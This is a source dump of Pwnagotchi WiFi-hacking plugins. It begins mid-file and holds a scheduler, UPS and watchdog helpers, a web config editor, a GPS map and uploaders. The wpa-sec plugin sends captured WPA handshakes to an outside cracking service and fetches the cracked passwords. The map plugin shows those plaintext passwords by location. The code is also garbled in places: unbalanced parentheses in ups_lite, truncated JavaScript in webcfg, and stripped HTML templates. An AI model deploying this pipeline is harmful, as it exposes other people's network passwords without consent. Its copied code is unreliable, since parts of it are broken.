/etc/systemd/system/switcher-reboot.timer""") with open('/etc/systemd/system/switcher-reboot.timer', 'wt') as reboot_timer: reboot_timer.write(""" [Unit] Description=Reboot when time is up ConditionPathExists=/root/.switcher [Timer] OnBootSec=%sm Unit=reboot.target [Install] WantedBy=timers.target """ % options['stopwatch']) systemctl("daemon-reload") systemctl("enable", "switcher-reboot.timer") systemctl("enable", task_service_name) reboot() return systemctl("daemon-reload") systemctl("start", task_service_name) class Switcher(plugins.Plugin): __author__ = '33197631+dadav@users.noreply.github.com' __version__ = '0.0.1' __name__ = 'switcher' __license__ = 'GPL3' __description__ = 'This plugin is a generic task scheduler.' def __init__(self): self.ready = False self.lock = Lock() def trigger(self, name, *args, **kwargs): with self.lock: function_name = name.lstrip('on_') if function_name in self.tasks: task = self.tasks[function_name] # is this task enabled? if 'enabled' not in task or ('enabled' in task and not task['enabled']): return run_task(function_name, task) def on_loaded(self): if 'tasks' in self.options and self.options['tasks']: self.tasks = self.options['tasks'] else: logging.debug('[switcher] No tasks found...') return logging.info("[switcher] is loaded.") # create hooks logging.debug("[switcher] creating hooks...") methods = ['webhook', 'internet_available', 'ui_setup', 'ui_update', 'unload', 'display_setup', 'ready', 'ai_ready', 'ai_policy', 'ai_training_start', 'ai_training_step', 'ai_training_end', 'ai_best_reward', 'ai_worst_reward', 'free_channel', 'bored', 'sad', 'excited', 'lonely', 'rebooting', 'wait', 'sleep', 'wifi_update', 'unfiltered_ap_list', 'association', 'deauthentication', 'channel_hop', 'handshake', 'epoch', 'peer_detected', 'peer_lost', 'config_changed'] for m in methods: setattr(Switcher, 'on_%s' % m, partial(self.trigger, m)) logging.debug("[switcher] triggers are ready to fire...") ================================================ FILE: pwnagotchi/plugins/default/ups_lite.py ================================================ # Based on UPS Lite v1.1 from https://github.com/xenDE # # functions for get UPS status - needs enable "i2c" in raspi-config # # https://github.com/linshuqin329/UPS-Lite # # For Raspberry Pi Zero Ups Power Expansion Board with Integrated Serial Port S3U4 # https://www.ebay.de/itm/For-Raspberry-Pi-Zero-Ups-Power-Expansion-Board-with-Integrated-Serial-Port-S3U4/323873804310 # https://www.aliexpress.com/item/32888533624.html # # To display external power supply status you need to bridge the necessary pins on the UPS-Lite board. See instructions in the UPS-Lite repo. import logging import struct import RPi.GPIO as GPIO import pwnagotchi import pwnagotchi.plugins as plugins import pwnagotchi.ui.fonts as fonts from pwnagotchi.ui.components import LabeledValue from pwnagotchi.ui.view import BLACK # TODO: add enable switch in config.yml an cleanup all to the best place class UPS: def __init__(self): # only import when the module is loaded and enabled import smbus # 0 = /dev/i2c-0 (port I2C0), 1 = /dev/i2c-1 (port I2C1) self._bus = smbus.SMBus(1) def voltage(self): try: address = 0x36 read = self._bus.read_word_data(address, 2) swapped = struct.unpack("H", read))[0] return swapped * 1.25 / 1000 / 16 except: return 0.0 def capacity(self): try: address = 0x36 read = self._bus.read_word_data(address, 4) swapped = struct.unpack("H", read))[0] return swapped / 256 except: return 0.0 def charging(self): try: GPIO.setmode(GPIO.BCM) GPIO.setup(4, GPIO.IN) return '+' if GPIO.input(4) == GPIO.HIGH else '-' except: return '-' class UPSLite(plugins.Plugin): __author__ = 'evilsocket@gmail.com' __version__ = '1.0.0' __license__ = 'GPL3' __description__ = 'A plugin that will add a voltage indicator for the UPS Lite v1.1' def __init__(self): self.ups = None def on_loaded(self): self.ups = UPS() def on_ui_setup(self, ui): ui.add_element('ups', LabeledValue(color=BLACK, label='UPS', value='0%/0V', position=(ui.width() / 2 + 15, 0), label_font=fonts.Bold, text_font=fonts.Medium)) def on_unload(self, ui): with ui._lock: ui.remove_element('ups') def on_ui_update(self, ui): capacity = self.ups.capacity() charging = self.ups.charging() ui.set('ups', "%2i%s" % (capacity, charging)) if capacity <= self.options['shutdown']: logging.info('[ups_lite] Empty battery (<= %s%%): shuting down' % self.options['shutdown']) ui.update(force=True, new_data={'status': 'Battery exhausted, bye ...'}) pwnagotchi.shutdown() ================================================ FILE: pwnagotchi/plugins/default/watchdog.py ================================================ import os import logging import re import subprocess from io import TextIOWrapper from pwnagotchi import plugins class Watchdog(plugins.Plugin): __author__ = '33197631+dadav@users.noreply.github.com' __version__ = '0.1.0' __license__ = 'GPL3' __description__ = 'Restart pwnagotchi when blindbug is detected.' def __init__(self): self.options = dict() self.pattern = re.compile(r'brcmf_cfg80211_nexmon_set_channel.*?Set Channel failed') def on_loaded(self): """ Gets called when the plugin gets loaded """ logging.info("Watchdog plugin loaded.") def on_epoch(self, agent, epoch, epoch_data): # get last 10 lines last_lines = ''.join(list(TextIOWrapper(subprocess.Popen(['journalctl','-n10','-k', '--since', '-5m'], stdout=subprocess.PIPE).stdout))[-10:]) if len(self.pattern.findall(last_lines)) >= 5: display = agent.view() display.set('status', 'Blind-Bug detected. Restarting.') display.update(force=True) logging.info('[WATCHDOG] Blind-Bug detected. Restarting.') mode = 'MANU' if agent.mode == 'manual' else 'AUTO' import pwnagotchi pwnagotchi.reboot(mode=mode) ================================================ FILE: pwnagotchi/plugins/default/webcfg.py ================================================ import logging import json import toml import _thread from pwnagotchi import restart, plugins from pwnagotchi.utils import save_config from flask import abort from flask import render_template_string INDEX = """ {% extends "base.html" %} {% set active_page = "plugins" %} {% block title %} Webcfg {% endblock %} {% block meta %} {% endblock %} {% block styles %} {{ super() }} {% endblock %} {% block content %}
{% endblock %} {% block script %} function addOption() { var input, table, tr, td, divDelBtn, btnDel, selType, selTypeVal; input = document.getElementById("searchText"); inputVal = input.value; selType = document.getElementById("selAddType"); selTypeVal = selType.options[selType.selectedIndex].value; table = document.getElementById("tableOptions"); if (table) { tr = table.insertRow(); // del button divDelBtn = document.createElement("div"); divDelBtn.className = "del_btn_wrapper"; td = document.createElement("td"); td.setAttribute("data-label", ""); btnDel = document.createElement("Button"); btnDel.innerHTML = "X"; btnDel.onclick = function(){ delRow(this);}; btnDel.className = "remove"; divDelBtn.appendChild(btnDel); td.appendChild(divDelBtn); tr.appendChild(td); // option td = document.createElement("td"); td.setAttribute("data-label", "Option"); td.innerHTML = inputVal; tr.appendChild(td); // value td = document.createElement("td"); td.setAttribute("data-label", "Value"); input = document.createElement("input"); input.type = selTypeVal; input.value = ""; td.appendChild(input); tr.appendChild(td); input.value = ""; } } function saveConfig(){ // get table var table = document.getElementById("tableOptions"); if (table) { var json = tableToJson(table); sendJSON("webcfg/save-config", json, function(response) { if (response) { if (response.status == "200") { alert("Config got updated"); } else { alert("Error while updating the config (err-code: " + response.status + ")"); } } }); } } var searchInput = document.getElementById("searchText"); searchInput.onkeyup = function() { var filter, table, tr, td, i, txtValue; filter = searchInput.value.toUpperCase(); table = document.getElementById("tableOptions"); if (table) { tr = table.getElementsByTagName("tr"); for (i = 0; i < tr.length; i++) { td = tr[i].getElementsByTagName("td")[1]; if (td) { txtValue = td.textContent || td.innerText; if (txtValue.toUpperCase().indexOf(filter) > -1) { tr[i].style.display = ""; }else{ tr[i].style.display = "none"; } } } } } function sendJSON(url, data, callback) { var xobj = new XMLHttpRequest(); var csrf = "{{ csrf_token() }}"; xobj.open('POST', url); xobj.setRequestHeader("Content-Type", "application/json"); xobj.setRequestHeader('x-csrf-token', csrf); xobj.onreadystatechange = function () { if (xobj.readyState == 4) { callback(xobj); } }; xobj.send(JSON.stringify(data)); } function loadJSON(url, callback) { var xobj = new XMLHttpRequest(); xobj.overrideMimeType("application/json"); xobj.open('GET', url, true); xobj.onreadystatechange = function () { if (xobj.readyState == 4 && xobj.status == "200") { callback(JSON.parse(xobj.responseText)); } }; xobj.send(null); } // https://stackoverflow.com/questions/19098797/fastest-way-to-flatten-un-flatten-nested-json-objects function unFlattenJson(data) { "use strict"; if (Object(data) !== data || Array.isArray(data)) return data; var result = {}, cur, prop, idx, last, temp, inarray; for(var p in data) { cur = result, prop = "", last = 0, inarray = false; do { idx = p.indexOf(".", last); temp = p.substring(last, idx !== -1 ? idx : undefined); inarray = temp.startsWith('#') && !isNaN(parseInt(temp.substring(1))) cur = cur[prop] || (cur[prop] = (inarray ? [] : {})); if (inarray){ prop = temp.substring(1); }else{ prop = temp; } last = idx + 1; } while(idx >= 0); cur[prop] = data[p]; } return result[""]; } function flattenJson(data) { var result = {}; function recurse (cur, prop) { if (Object(cur) !== cur) { result[prop] = cur; } else if (Array.isArray(cur)) { for(var i=0, l=cur.length; i 0 ) { if (input[0].type == "text") { if (input[0].value.startsWith("[") && input[0].value.endsWith("]")) { json[key] = JSON.parse(input[0].value); }else{ json[key] = input[0].value; } }else if (input[0].type == "number") { json[key] = Number(input[0].value); } } else if(select && select != undefined && select.length > 0) { var myValue = select[0].options[select[0].selectedIndex].value; json[key] = myValue === 'true'; } } } return unFlattenJson(json); } loadJSON("webcfg/get-config", function(response) { var flat_json = flattenJson(response); var table = jsonToTable(flat_json); var divContent = document.getElementById("content"); divContent.innerHTML = ""; divContent.appendChild(table); }); {% endblock %} """ def serializer(obj): if isinstance(obj, set): return list(obj) raise TypeError class WebConfig(plugins.Plugin): __author__ = '33197631+dadav@users.noreply.github.com' __version__ = '1.0.0' __license__ = 'GPL3' __description__ = 'This plugin allows the user to make runtime changes.' def __init__(self): self.ready = False self.mode = 'MANU' def on_config_changed(self, config): self.config = config self.ready = True def on_ready(self, agent): self.mode = 'MANU' if agent.mode == 'manual' else 'AUTO' def on_internet_available(self, agent): self.mode = 'MANU' if agent.mode == 'manual' else 'AUTO' def on_loaded(self): """ Gets called when the plugin gets loaded """ logging.info("webcfg: Plugin loaded.") def on_webhook(self, path, request): """ Serves the current configuration """ if not self.ready: return "Plugin not ready" if request.method == "GET": if path == "/" or not path: return render_template_string(INDEX) elif path == "get-config": # send configuration return json.dumps(self.config, default=serializer) else: abort(404) elif request.method == "POST": if path == "save-config": try: save_config(request.get_json(), '/etc/pwnagotchi/config.toml') # test _thread.start_new_thread(restart, (self.mode,)) return "success" except Exception as ex: logging.error(ex) return "config error", 500 abort(404) ================================================ FILE: pwnagotchi/plugins/default/webgpsmap.html ================================================ GPS MAP
0 APs
(⌐■  ■)
loading positions...
================================================ FILE: pwnagotchi/plugins/default/webgpsmap.py ================================================ import pwnagotchi.plugins as plugins import logging import os import json import re import datetime from flask import Response from functools import lru_cache from dateutil.parser import parse ''' webgpsmap shows existing position data stored in your /handshakes/ directory the plugin does the following: - search for *.pcap files in your /handshakes/ dir - for every found .pcap file it looks for a .geo.json or .gps.json or .paw-gps.json file with latitude+longitude data inside and shows this position on the map - if also an .cracked file with a plaintext password inside exist, it reads the content and shows the position as green instead of red and the password inside the infopox of the position special: you can save the html-map as one file for offline use or host on your own webspace with "/plugins/webgpsmap/offlinemap" ''' class Webgpsmap(plugins.Plugin): __author__ = 'https://github.com/xenDE and https://github.com/dadav' __version__ = '1.4.0' __name__ = 'webgpsmap' __license__ = 'GPL3' __description__ = 'a plugin for pwnagotchi that shows a openstreetmap with positions of ap-handshakes in your webbrowser' ALREADY_SENT = list() SKIP = list() def __init__(self): self.ready = False def on_config_changed(self, config): self.config = config self.ready = True def on_loaded(self): """ Plugin got loaded """ logging.info("[webgpsmap]: plugin loaded") def on_webhook(self, path, request): """ Returns ewquested data """ # defaults: response_header_contenttype = None response_header_contentdisposition = None response_mimetype = "application/xhtml+xml" if not self.ready: try: response_data = bytes(''' Not ready yet ''', "utf-8") response_status = 500 response_mimetype = "application/xhtml+xml" response_header_contenttype = 'text/html' except Exception as error: logging.error(f"[webgpsmap] on_webhook NOT_READY error: {error}") return else: if request.method == "GET": if path == '/' or not path: # returns the html template self.ALREADY_SENT = list() try: response_data = bytes(self.get_html(), "utf-8") except Exception as error: logging.error(f"[webgpsmap] on_webhook / error: {error}") return response_status = 200 response_mimetype = "application/xhtml+xml" response_header_contenttype = 'text/html' elif path.startswith('all'): # returns all positions try: self.ALREADY_SENT = list() response_data = bytes(json.dumps(self.load_gps_from_dir(self.config['bettercap']['handshakes'])), "utf-8") response_status = 200 response_mimetype = "application/json" response_header_contenttype = 'application/json' except Exception as error: logging.error(f"[webgpsmap] on_webhook all error: {error}") return elif path.startswith('offlinemap'): # for download an all-in-one html file with positions.json inside try: self.ALREADY_SENT = list() json_data = json.dumps(self.load_gps_from_dir(self.config['bettercap']['handshakes'])) html_data = self.get_html() html_data = html_data.replace('var positions = [];', 'var positions = ' + json_data + ';positionsLoaded=true;drawPositions();') response_data = bytes(html_data, "utf-8") response_status = 200 response_mimetype = "application/xhtml+xml" response_header_contenttype = 'text/html' response_header_contentdisposition = 'attachment; filename=webgpsmap.html'; except Exception as error: logging.error(f"[webgpsmap] on_webhook offlinemap: error: {error}") return # elif path.startswith('/newest'): # # returns all positions newer then timestamp # response_data = bytes(json.dumps(self.load_gps_from_dir(self.config['bettercap']['handshakes']), newest_only=True), "utf-8") # response_status = 200 # response_mimetype = "application/json" # response_header_contenttype = 'application/json' else: # unknown GET path response_data = bytes(''' 4😋4 ''', "utf-8") response_status = 404 else: # unknown request.method response_data = bytes(''' 4😋4 for bad boys ''', "utf-8") response_status = 404 try: r = Response(response=response_data, status=response_status, mimetype=response_mimetype) if response_header_contenttype is not None: r.headers["Content-Type"] = response_header_contenttype if response_header_contentdisposition is not None: r.headers["Content-Disposition"] = response_header_contentdisposition return r except Exception as error: logging.error(f"[webgpsmap] on_webhook CREATING_RESPONSE error: {error}") return # cache 2048 items @lru_cache(maxsize=2048, typed=False) def _get_pos_from_file(self, path): return PositionFile(path) def load_gps_from_dir(self, gpsdir, newest_only=False): """ Parses the gps-data from disk """ handshake_dir = gpsdir gps_data = dict() logging.info(f"[webgpsmap] scanning {handshake_dir}") all_files = os.listdir(handshake_dir) #print(all_files) all_pcap_files = [os.path.join(handshake_dir, filename) for filename in all_files if filename.endswith('.pcap') ] all_geo_or_gps_files = [] for filename_pcap in all_pcap_files: filename_base = filename_pcap[:-5] # remove ".pcap" logging.debug(f"[webgpsmap] found: {filename_base}") filename_position = None logging.debug("[webgpsmap] search for .gps.json") check_for = os.path.basename(filename_base) + ".gps.json" if check_for in all_files: filename_position = str(os.path.join(handshake_dir, check_for)) logging.debug("[webgpsmap] search for .geo.json") check_for = os.path.basename(filename_base) + ".geo.json" if check_for in all_files: filename_position = str(os.path.join(handshake_dir, check_for)) logging.debug("[webgpsmap] search for .paw-gps.json") check_for = os.path.basename(filename_base) + ".paw-gps.json" if check_for in all_files: filename_position = str(os.path.join(handshake_dir, check_for)) logging.debug(f"[webgpsmap] end search for position data files and use {filename_position}") if filename_position is not None: all_geo_or_gps_files.append(filename_position) # all_geo_or_gps_files = set(all_geo_or_gps_files) - set(SKIP) # remove skipped networks? No! if newest_only: all_geo_or_gps_files = set(all_geo_or_gps_files) - set(self.ALREADY_SENT) logging.info(f"[webgpsmap] Found {len(all_geo_or_gps_files)} position-data files from {len(all_pcap_files)} handshakes. Fetching positions ...") for pos_file in all_geo_or_gps_files: try: pos = self._get_pos_from_file(pos_file) if not pos.type() == PositionFile.GPS and not pos.type() == PositionFile.GEO and not pos.type() == PositionFile.PAWGPS: continue ssid, mac = pos.ssid(), pos.mac() ssid = "unknown" if not ssid else ssid # invalid mac is strange and should abort; ssid is ok if not mac: raise ValueError("Mac can't be parsed from filename") pos_type = 'unknown' if pos.type() == PositionFile.GPS: pos_type = 'gps' elif pos.type() == PositionFile.GEO: pos_type = 'geo' elif pos.type() == PositionFile.PAWGPS: pos_type = 'paw' gps_data[ssid+"_"+mac] = { 'ssid': ssid, 'mac': mac, 'type': pos_type, 'lng': pos.lng(), 'lat': pos.lat(), 'acc': pos.accuracy(), 'ts_first': pos.timestamp_first(), 'ts_last': pos.timestamp_last(), } # get ap password if exist check_for = os.path.basename(pos_file).split(".")[0] + ".pcap.cracked" if check_for in all_files: gps_data[ssid + "_" + mac]["pass"] = pos.password() self.ALREADY_SENT += pos_file except json.JSONDecodeError as error: self.SKIP += pos_file logging.error(f"[webgpsmap] JSONDecodeError in: {pos_file} - error: {error}") continue except ValueError as error: self.SKIP += pos_file logging.error(f"[webgpsmap] ValueError: {pos_file} - error: {error}") continue except OSError as error: self.SKIP += pos_file logging.error(f"[webgpsmap] OSError: {pos_file} - error: {error}") continue logging.info(f"[webgpsmap] loaded {len(gps_data)} positions") return gps_data def get_html(self): """ Returns the html page """ try: template_file = os.path.dirname(os.path.realpath(__file__)) + "/" + "webgpsmap.html" html_data = open(template_file, "r").read() except Exception as error: logging.error(f"[webgpsmap] error loading template file {template_file} - error: {error}") return html_data class PositionFile: """ Wraps gps / net-pos files """ GPS = 1 GEO = 2 PAWGPS = 3 def __init__(self, path): self._file = path self._filename = os.path.basename(path) try: logging.debug(f"[webgpsmap] loading {path}") with open(path, 'r') as json_file: self._json = json.load(json_file) logging.debug(f"[webgpsmap] loaded {path}") except json.JSONDecodeError as js_e: raise js_e def mac(self): """ Returns the mac from filename """ parsed_mac = re.search(r'.*_?([a-zA-Z0-9]{12})\.(?:gps|geo|paw-gps)\.json', self._filename) if parsed_mac: mac = parsed_mac.groups()[0] return mac return None def ssid(self): """ Returns the ssid from filename """ parsed_ssid = re.search(r'(.+)_[a-zA-Z0-9]{12}\.(?:gps|geo|paw-gps)\.json', self._filename) if parsed_ssid: return parsed_ssid.groups()[0] return None def json(self): """ returns the parsed json """ return self._json def timestamp_first(self): """ returns the timestamp of AP first seen """ # use file timestamp creation time of the pcap file return int("%.0f" % os.path.getctime(self._file)) def timestamp_last(self): """ returns the timestamp of AP last seen """ return_ts = None if 'ts' in self._json: return_ts = self._json['ts'] elif 'Updated' in self._json: # convert gps datetime to unix timestamp: "2019-10-05T23:12:40.422996+01:00" dateObj = parse(self._json['Updated']) return_ts = int("%.0f" % dateObj.timestamp()) else: # use file timestamp last modification of the json file return_ts = int("%.0f" % os.path.getmtime(self._file)) return return_ts def password(self): """ returns the password from file.pcap.cracked or None """ return_pass = None # 2do: make better filename split/remove extension because this one has problems with "." in path base_filename, ext1, ext2 = re.split('\.', self._file) password_file_path = base_filename + ".pcap.cracked" if os.path.isfile(password_file_path): try: password_file = open(password_file_path, 'r') return_pass = password_file.read() password_file.close() except OSError as error: logging.error(f"[webgpsmap] OS error loading password: {password_file_path} - error: {format(error)}") except: logging.error(f"[webgpsmap] Unexpected error loading password: {password_file_path} - error: {sys.exc_info()[0]}") raise return return_pass def type(self): """ returns the type of the file """ if self._file.endswith('.gps.json'): return PositionFile.GPS if self._file.endswith('.geo.json'): return PositionFile.GEO if self._file.endswith('.paw-gps.json'): return PositionFile.PAWGPS return None def lat(self): try: lat = None # try to get value from known formats if 'Latitude' in self._json: lat = self._json['Latitude'] if 'lat' in self._json: lat = self._json['lat'] # an old paw-gps format: {"long": 14.693561, "lat": 40.806375} if 'location' in self._json: if 'lat' in self._json['location']: lat = self._json['location']['lat'] # check value if lat is None: raise ValueError(f"Lat is None in {self._filename}") if lat == 0: raise ValueError(f"Lat is 0 in {self._filename}") return lat except KeyError: pass return None def lng(self): try: lng = None # try to get value from known formats if 'Longitude' in self._json: lng = self._json['Longitude'] if 'long' in self._json: lng = self._json['long'] # an old paw-gps format: {"long": 14.693561, "lat": 40.806375} if 'location' in self._json: if 'lng' in self._json['location']: lng = self._json['location']['lng'] # check value if lng is None: raise ValueError(f"Lng is None in {self._filename}") if lng == 0: raise ValueError(f"Lng is 0 in {self._filename}") return lng except KeyError: pass return None def accuracy(self): if self.type() == PositionFile.GPS: return 50.0 # a default if self.type() == PositionFile.PAWGPS: return 50.0 # a default if self.type() == PositionFile.GEO: try: return self._json['accuracy'] except KeyError: pass return None ================================================ FILE: pwnagotchi/plugins/default/wigle.py ================================================ import os import logging import json import csv import requests from io import StringIO from datetime import datetime from pwnagotchi.utils import WifiInfo, FieldNotFoundError, extract_from_pcap, StatusFile, remove_whitelisted from threading import Lock from pwnagotchi import plugins from pwnagotchi._version import __version__ as __pwnagotchi_version__ def _extract_gps_data(path): """ Extract data from gps-file return json-obj """ try: if path.endswith('.geo.json'): with open(path, 'r') as json_file: tempJson = json.load(json_file) d = datetime.utcfromtimestamp(int(tempJson["ts"])) return {"Latitude": tempJson["location"]["lat"], "Longitude": tempJson["location"]["lng"], "Altitude": 10, "Updated": d.strftime('%Y-%m-%dT%H:%M:%S.%f')} else: with open(path, 'r') as json_file: return json.load(json_file) except OSError as os_err: raise os_err except json.JSONDecodeError as json_err: raise json_err def _format_auth(data): out = "" for auth in data: out = f"{out}[{auth}]" return out def _transform_wigle_entry(gps_data, pcap_data, plugin_version): """ Transform to wigle entry in file """ dummy = StringIO() # write kismet header dummy.write( "WigleWifi-1.4,appRelease={},model=pwnagotchi,release={},device=pwnagotchi,display=kismet,board=kismet,brand=pwnagotchi\n".format(plugin_version, __pwnagotchi_version__)) dummy.write( "MAC,SSID,AuthMode,FirstSeen,Channel,RSSI,CurrentLatitude,CurrentLongitude,AltitudeMeters,AccuracyMeters,Type") writer = csv.writer(dummy, delimiter=",", quoting=csv.QUOTE_NONE, escapechar="\\") writer.writerow([ pcap_data[WifiInfo.BSSID], pcap_data[WifiInfo.ESSID], _format_auth(pcap_data[WifiInfo.ENCRYPTION]), datetime.strptime(gps_data['Updated'].rsplit('.')[0], "%Y-%m-%dT%H:%M:%S").strftime('%Y-%m-%d %H:%M:%S'), pcap_data[WifiInfo.CHANNEL], pcap_data[WifiInfo.RSSI], gps_data['Latitude'], gps_data['Longitude'], gps_data['Altitude'], 0, # accuracy? 'WIFI']) return dummy.getvalue() def _send_to_wigle(lines, api_key, donate=True, timeout=30): """ Uploads the file to wigle-net """ dummy = StringIO() for line in lines: dummy.write(f"{line}") dummy.seek(0) headers = {'Authorization': f"Basic {api_key}", 'Accept': 'application/json'} data = {'donate': 'on' if donate else 'false'} payload = {'file': dummy, 'type': 'text/csv'} try: res = requests.post('https://api.wigle.net/api/v2/file/upload', data=data, headers=headers, files=payload, timeout=timeout) json_res = res.json() if not json_res['success']: raise requests.exceptions.RequestException(json_res['message']) except requests.exceptions.RequestException as re_e: raise re_e class Wigle(plugins.Plugin): __author__ = '33197631+dadav@users.noreply.github.com' __version__ = '2.0.0' __license__ = 'GPL3' __description__ = 'This plugin automatically uploads collected wifis to wigle.net' def __init__(self): self.ready = False self.report = StatusFile('/root/.wigle_uploads', data_format='json') self.skip = list() self.lock = Lock() def on_loaded(self): if 'api_key' not in self.options or ('api_key' in self.options and self.options['api_key'] is None): logging.debug("WIGLE: api_key isn't set. Can't upload to wigle.net") return if not 'whitelist' in self.options: self.options['whitelist'] = list() if not 'donate' in self.options: self.options['donate'] = True self.ready = True logging.info("WIGLE: ready") def on_internet_available(self, agent): """ Called in manual mode when there's internet connectivity """ if not self.ready or self.lock.locked(): return from scapy.all import Scapy_Exception config = agent.config() display = agent.view() reported = self.report.data_field_or('reported', default=list()) handshake_dir = config['bettercap']['handshakes'] all_files = os.listdir(handshake_dir) all_gps_files = [os.path.join(handshake_dir, filename) for filename in all_files if filename.endswith('.gps.json') or filename.endswith('.paw-gps.json') or filename.endswith('.geo.json')] all_gps_files = remove_whitelisted(all_gps_files, self.options['whitelist']) new_gps_files = set(all_gps_files) - set(reported) - set(self.skip) if new_gps_files: logging.info("WIGLE: Internet connectivity detected. Uploading new handshakes to wigle.net") csv_entries = list() no_err_entries = list() for gps_file in new_gps_files: if gps_file.endswith('.gps.json'): pcap_filename = gps_file.replace('.gps.json', '.pcap') if gps_file.endswith('.paw-gps.json'): pcap_filename = gps_file.replace('.paw-gps.json', '.pcap') if gps_file.endswith('.geo.json'): pcap_filename = gps_file.replace('.geo.json', '.pcap') if not os.path.exists(pcap_filename): logging.debug("WIGLE: Can't find pcap for %s", gps_file) self.skip.append(gps_file) continue try: gps_data = _extract_gps_data(gps_file) except OSError as os_err: logging.debug("WIGLE: %s", os_err) self.skip.append(gps_file) continue except json.JSONDecodeError as json_err: logging.debug("WIGLE: %s", json_err) self.skip.append(gps_file) continue if gps_data['Latitude'] == 0 and gps_data['Longitude'] == 0: logging.debug("WIGLE: Not enough gps-information for %s. Trying again next time.", gps_file) self.skip.append(gps_file) continue try: pcap_data = extract_from_pcap(pcap_filename, [WifiInfo.BSSID, WifiInfo.ESSID, WifiInfo.ENCRYPTION, WifiInfo.CHANNEL, WifiInfo.RSSI]) except FieldNotFoundError: logging.debug("WIGLE: Could not extract all information. Skip %s", gps_file) self.skip.append(gps_file) continue except Scapy_Exception as sc_e: logging.debug("WIGLE: %s", sc_e) self.skip.append(gps_file) continue new_entry = _transform_wigle_entry(gps_data, pcap_data, self.__version__) csv_entries.append(new_entry) no_err_entries.append(gps_file) if csv_entries: display.on_uploading('wigle.net') try: _send_to_wigle(csv_entries, self.options['api_key'], donate=self.options['donate']) reported += no_err_entries self.report.update(data={'reported': reported}) logging.info("WIGLE: Successfully uploaded %d files", len(no_err_entries)) except requests.exceptions.RequestException as re_e: self.skip += no_err_entries logging.debug("WIGLE: Got an exception while uploading %s", re_e) except OSError as os_e: self.skip += no_err_entries logging.debug("WIGLE: Got the following error: %s", os_e) display.on_normal() ================================================ FILE: pwnagotchi/plugins/default/wpa-sec.py ================================================ import os import logging import requests from datetime import datetime from threading import Lock from pwnagotchi.utils import StatusFile, remove_whitelisted from pwnagotchi import plugins from json.decoder import JSONDecodeError class WpaSec(plugins.Plugin): __author__ = '33197631+dadav@users.noreply.github.com' __version__ = '2.1.0' __license__ = 'GPL3' __description__ = 'This plugin automatically uploads handshakes to https://wpa-sec.stanev.org' def __init__(self): self.ready = False self.lock = Lock() try: self.report = StatusFile('/root/.wpa_sec_uploads', data_format='json') except JSONDecodeError: os.remove("/root/.wpa_sec_uploads") self.report = StatusFile('/root/.wpa_sec_uploads', data_format='json') self.options = dict() self.skip = list() def _upload_to_wpasec(self, path, timeout=30): """ Uploads the file to https://wpa-sec.stanev.org, or another endpoint. """ with open(path, 'rb') as file_to_upload: cookie = {'key': self.options['api_key']} payload = {'file': file_to_upload} try: result = requests.post(self.options['api_url'], cookies=cookie, files=payload, timeout=timeout) if ' already submitted' in result.text: logging.debug("%s was already submitted.", path) except requests.exceptions.RequestException as req_e: raise req_e def _download_from_wpasec(self, output, timeout=30): """ Downloads the results from wpasec and safes them to output Output-Format: bssid, station_mac, ssid, password """ api_url = self.options['api_url'] if not api_url.endswith('/'): api_url = f"{api_url}/" api_url = f"{api_url}?api&dl=1" cookie = {'key': self.options['api_key']} try: result = requests.get(api_url, cookies=cookie, timeout=timeout) with open(output, 'wb') as output_file: output_file.write(result.content) except requests.exceptions.RequestException as req_e: raise req_e except OSError as os_e: raise os_e def on_loaded(self): """ Gets called when the plugin gets loaded """ if 'api_key' not in self.options or ('api_key' in self.options and not self.options['api_key']): logging.error("WPA_SEC: API-KEY isn't set. Can't upload to wpa-sec.stanev.org") return if 'api_url' not in self.options or ('api_url' in self.options and not self.options['api_url']): logging.error("WPA_SEC: API-URL isn't set. Can't upload, no endpoint configured.") return if 'whitelist' not in self.options: self.options['whitelist'] = list() self.ready = True logging.info("WPA_SEC: plugin loaded") def on_webhook(self, path, request): from flask import make_response, redirect response = make_response(redirect(self.options['api_url'], code=302)) response.set_cookie('key', self.options['api_key']) return response def on_internet_available(self, agent): """ Called in manual mode when there's internet connectivity """ if not self.ready or self.lock.locked(): return with self.lock: config = agent.config() display = agent.view() reported = self.report.data_field_or('reported', default=list()) handshake_dir = config['bettercap']['handshakes'] handshake_filenames = os.listdir(handshake_dir) handshake_paths = [os.path.join(handshake_dir, filename) for filename in handshake_filenames if filename.endswith('.pcap')] handshake_paths = remove_whitelisted(handshake_paths, self.options['whitelist']) handshake_new = set(handshake_paths) - set(reported) - set(self.skip) if handshake_new: logging.info("WPA_SEC: Internet connectivity detected. Uploading new handshakes to wpa-sec.stanev.org") for idx, handshake in enumerate(handshake_new): display.on_uploading(f"wpa-sec.stanev.org ({idx + 1}/{len(handshake_new)})") try: self._upload_to_wpasec(handshake) reported.append(handshake) self.report.update(data={'reported': reported}) logging.debug("WPA_SEC: Successfully uploaded %s", handshake) except requests.exceptions.RequestException as req_e: self.skip.append(handshake) logging.debug("WPA_SEC: %s", req_e) continue except OSError as os_e: logging.debug("WPA_SEC: %s", os_e) continue display.on_normal() if 'download_results' in self.options and self.options['download_results']: cracked_file = os.path.join(handshake_dir, 'wpa-sec.cracked.potfile') if os.path.exists(cracked_file): last_check = datetime.fromtimestamp(os.path.getmtime(cracked_file)) if last_check is not None and ((datetime.now() - last_check).seconds / (60 * 60)) < 1: return try: self._download_from_wpasec(os.path.join(handshake_dir, 'wpa-sec.cracked.potfile')) logging.info("WPA_SEC: Downloaded cracked passwords.") except requests.exceptions.RequestException as req_e: logging.debug("WPA_SEC: %s", req_e) except OSError as os_e: logging.debug("WPA_SEC: %s", os_e) ================================================ FILE: pwnagotchi/ui/__init__.py ================================================ ================================================ FILE: pwnagotchi/ui/components.py ================================================ from PIL import Image from textwrap import TextWrapper class Widget(object): def __init__(self, xy, color=0): self.xy = xy self.color = color def draw(self, canvas, drawer): raise Exception("not implemented") class Bitmap(Widget): def __init__(self, path, xy, color=0): super().__init__(xy, color) self.image = Image.open(path) def draw(self, canvas, drawer): canvas.paste(self.image, self.xy) class Line(Widget): def __init__(self, xy, color=0, width=1): super().__init__(xy, color) self.width = width def draw(self, canvas, drawer): drawer.line(self.xy, fill=self.color, width=self.width) class Rect(Widget): def draw(self, canvas, drawer): drawer.rectangle(self.xy, outline=self.color) class FilledRect(Widget): def draw(self, canvas, drawer): drawer.rectangle(self.xy, fill=self.color) class Text(Widget): def __init__(self, value="", position=(0, 0), font=None, color=0, wrap=False, max_length=0): super().__init__(position, color) self.value = value self.font = font self.wrap = wrap self.max_length = max_length self.wrapper = TextWrapper(width=self.max_length, replace_whitespace=False) if wrap else None def draw(self, canvas, drawer): if self.value is not None: if self.wrap: text = '\n'.join(self.wrapper.wrap(self.value)) else: text = self.value 